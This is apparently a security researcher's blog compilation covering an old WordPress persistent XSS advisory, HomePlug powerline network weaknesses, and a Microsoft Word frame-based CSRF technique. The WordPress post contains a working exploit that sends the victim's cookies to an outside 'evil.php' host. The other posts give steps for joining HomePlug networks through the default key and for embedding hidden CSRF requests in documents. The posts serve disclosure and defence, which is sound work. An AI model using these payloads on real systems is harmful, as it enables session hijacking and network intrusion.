Operation n

It is interesting to note when playing with the onUnload event handler, that both Firefox and IE make requests and retrieve responses whilst the DOM is still set on the previous domain.

This got me toying with the idea of a timing attack to bypass the same-origin policy. The basic idea behind this attack is utilising the difference in timing between the DOM and the browser’s network API. I did not succeed in this endeavor but the concept was cool. Bringing race condition vulnerabilities to the browser context would truly open the *nyx boys eyes.

What I did find was that it is possible to kill IE7 :)

DNS Pinning hacks seem unreliable and very targetted. I am in search of something more flexible and powerful to enable cross-domain, bi-directional XSS capabilities. For now these lie in compromising browser plugins (Greasemonkey scripts etc), or in third party applications.

Update: 16/01 see http://michaeldaw.org/projects/wpsec/

Its been a few days since the release of:
http://michaeldaw.org/md-hacks/wordpress-persistent-xss/.

Other references:

• http://www.securityfocus.com/bid/21782
• http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-6808

Time to release a proof of concept exploit for this. I am sure the crackers will already be exploiting this in the wild.

If you remember from my original advisory, our attack was limited due to our attack being passed through PHP’s basename function. To get around this we borrow the characters from document.location. I wanted an exploit that was simple and compact.

I created two HTML files to aid in my research, Injection.html and Recover.html.

First: Inject.html

This is our actual exploit (we use a nested IMG exploit):

<
        img src='https://wordpress-site/wp/wp-admin/templates.php?file=<
        img src=%27%27 onerror="javascript:
        var s=(document.location.toString().charAt(6));
        var url=(%27http:%27%2Bs%2Bs%2B%27michaeldaw.org%27);
        document.location=url%2Bs%2B%27evil.php?%27%2Bdocument.cookie">'
>

Second: Recover.php

If we mess up we may create an annoying, persistent redirect that prevents us access to the templates.php file. So this next HTML file simply resets our templates.php file using the same injection point.

<img src="https://wordpress-site/wp/wp-admin/templates.php?file=a">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=b">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=c">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=d">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=e">
<img src="https://wordpress-site/wp/wp-admin/templates.php?file=f">

Job done; all that is required is for an attacker to setup a file on a remote server to capture the cookies.

Conclusion

I hope this article “strongly” encourages WordPress users to apply the latest patch ASAP! Another attack vector I was thinking of was injecting PHP code straight into the WordPress Installation. I can see really bad worm potential with this vulnerability. I stress again, apply the patch.

Vulnerability Title: WordPress Persistent XSS
Author: David Kierznowski
Homepage: http://michaeldaw.org
Software Vendor: WordPress Persistent XSS
Versions affected: Confirmed in v2.0.5 (latest)

WordPress is a popular open source blogging software.
A persistent XSS vulnerability has been found in WordPress (to be honest I have found a few problems and hope to publish these soon). This issue affects the latest version v2.0.5.

Discussion:
When editing files a shortcut is created titled ‘recently accessed files’. The anchor tag text is correctly escaped with wp_specialchars(); however, the link title is not sanitised. Instead, it is passed to get_file_description($file). The only restriction or limitation here is that our text is passed through basename. This means standard script tags will fail when ending with ‘/’. We can get around this by using “open” IMG tags; this works under FF and IE.

Vulnerable code:
wp-admin/templates.php:

[line 22]$recents = get_option('recently_edited');
[line 72]update_recently_edited($file);
[Line 116]:foreach ($recents as $recent) :
        echo "<li><a href='templates.php?file="
          . wp_specialchars($recent, true) . "'>"
          . get_file_description(basename($recent))
          . "</a></li>";

Vulnerable function:

function get_file_description($file) {
        global $wp_file_descriptions;

        if (isset ($wp_file_descriptions[basename($file)])) {
                return $wp_file_descriptions[basename($file)];
        }
        elseif (file_exists(ABSPATH.$file)) {
                $template_data = implode('', file(ABSPATH.$file));
                if (preg_match("|Template Name:(.*)|i",
                   $template_data, $name))
                        return $name[1];
        }
        return basename($file);
}

Proof of concept:

https://blogsite/wp/wp-admin/templates.php?file=%3Cimg%20src=''
           onerror=javascript:alert(document.cookie);%3E

Temp Fix:
Comment out the following line in wp-admin/templates.php
[Line 72] update_recently_edited($file);

WordPress was contacted: 26/12/06 22:04 BST
Reply received: 27/12/06 06:11 BST
WordPress has fixed this for v2.0.6 and a patch has been released
for v2.0.5, see
http://trac.wordpress.org/changeset/4665

I don’t know whether HomePlug networks are growing in use or not, but the following statements caught my attention:

“Officials at Intellon, the chip maker that developed the HomePlug spec, say that hacking into a HomePlug network would require cracking the government’s DES encryption standard.” - link

My favourite:

“HomePlug specification products also protect data by utilizing powerful DES encryption, which makes hacking into a HomePlug network virtually impossible.” - link

If you are not sure what a HomePlug network is then maybe the following diagram will help:

As you can see above, HomePlug’s in many cases can replace a Wireless infrastructure or work along side it (i.e. your house or office has thick walls weakening the signal). You simply plug it into your wall socket and attach a network lead to it.

Now I didn’t really spend ages on coming up with advanced hacking techniques for these things. It would be overkill me thinks. These devices are insecure in their default state. They are also insecure in their “secured” state.

So lets put our attack together:
1. HomePlug Detection & Enumeration
2. Exploitation in its default state
3. Exploitation in its “secured” state
4. Hacker Countermeasures

1. HomePlug Enumeration

You need a compatible HomePlug to start. A single plug can cost between £20 - £30. Ensure that the plug is HomePlug v1.0 certified or you will most likely fail in your endeavor.

You will then require a target, testing your own network is easy enough, attackers will most likely test your network from an outside wall socket.

Install the software that comes with the plug - this software was exactly same with both my HomePlug makes (other then a few logo changes). Plug your HomePlug into the wall socket of the network you what to connect to. Load up the software and simply click “Scan Powerlines Network”. You could also just load a sniffer and check if your rogue plug has already joined the network.

2. Exploitation in its default state

I couldn’t find the v1.0 specification rfc, but it was trivial to work out that all these devices use a default network key of “HomePlug” to start with. Obviously this was done to allow for plug and play. Load up your sniffer and monitor network traffic. If the default key is used you should see NetBIOS broadcasts etc. Job done.

3. Exploitation in its “secured” state

56-bit DES encryption may have been considered cryptographically strong in the stone ages but not today.

Even though 56-Bit DES encryption (2^56 possible keys) is breakable, it may take a fair chunk of time to crack - although Rainbowtables has made this alot easier. Personally, I would try some weak passwords to begin with.

4. Hacker Countermeasures

Do the obvious. Use a very strong key to secure your HomePlug’s. Ensure thats your network devices are firewalled. Hopefully the newer versions will provide stronger encryption options.

Update: 15/12:
CSRF in MS Word part II
Update 28/11:
It is interesting to note that MS Word 2003 will actually warn the user. Obviously, someone at Microsoft saw the potential for badness here. Good stuff.

Microsoft Word has been plagued with vulnerabilities in the past. Therefore, mail servers often restrict email with the .doc extension. However, with applications like Microsoft SharePoint which allows sharing of content between users, the door is opened just slightly to allow for deviance. This article demonstrates using Microsoft Word in Cross Site Request Forgery (CSRF) Attacks.

Our attack vector is found in exploiting MSWord’s frame capabilities: By creating malicious frames in a document and pointing them to a malicious URL, we can exploit multiple, persistent CSRF vulnerabilities (and possibly the browser). The cool part? This all happens transparently with no warnings to the user. Also, this IMG tag can be hidden within a document which means that our malicious code is executed everytime the document is opened. Furthermore, an attacker can use either 302 redirects or modify the infected HTML file to alter his/her targets array. This means our payload can be updated from the attackers end.

This is how we do it:

1. Create new document
2. Goto Insert > Format > Frames >
3. Right Click on the frame > Frame Properties >
4. Set hyperlink to our exploit page which contains malicious IMG tags.

An example target HTML file can be seen below:

<html>
<body>
<img src="http://non-existent/login.php?changepass=123&verify=123" alt=""  />
</body>
</html>

Obviously curious about how MS Word communicates, I sniffed the connection:

GET /login.php?changepass=123&verify=123 HTTP/1.1
Accept: */*
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
Host: non-existent
Connection: Keep-Alive
Cookie: blah

As we can see, it is using Internet Explorer to fetch these pages. With some creativity other exploitation techniques may be possible (i.e. ActiveX exploitation). However, attacks are limited due to scripting being disabled by default. Thus we see that MS Word can be used to launch multiple, persistent (well almost) CSRF attacks.

Tested using: MS Word 2000.
Expect a part 2 :)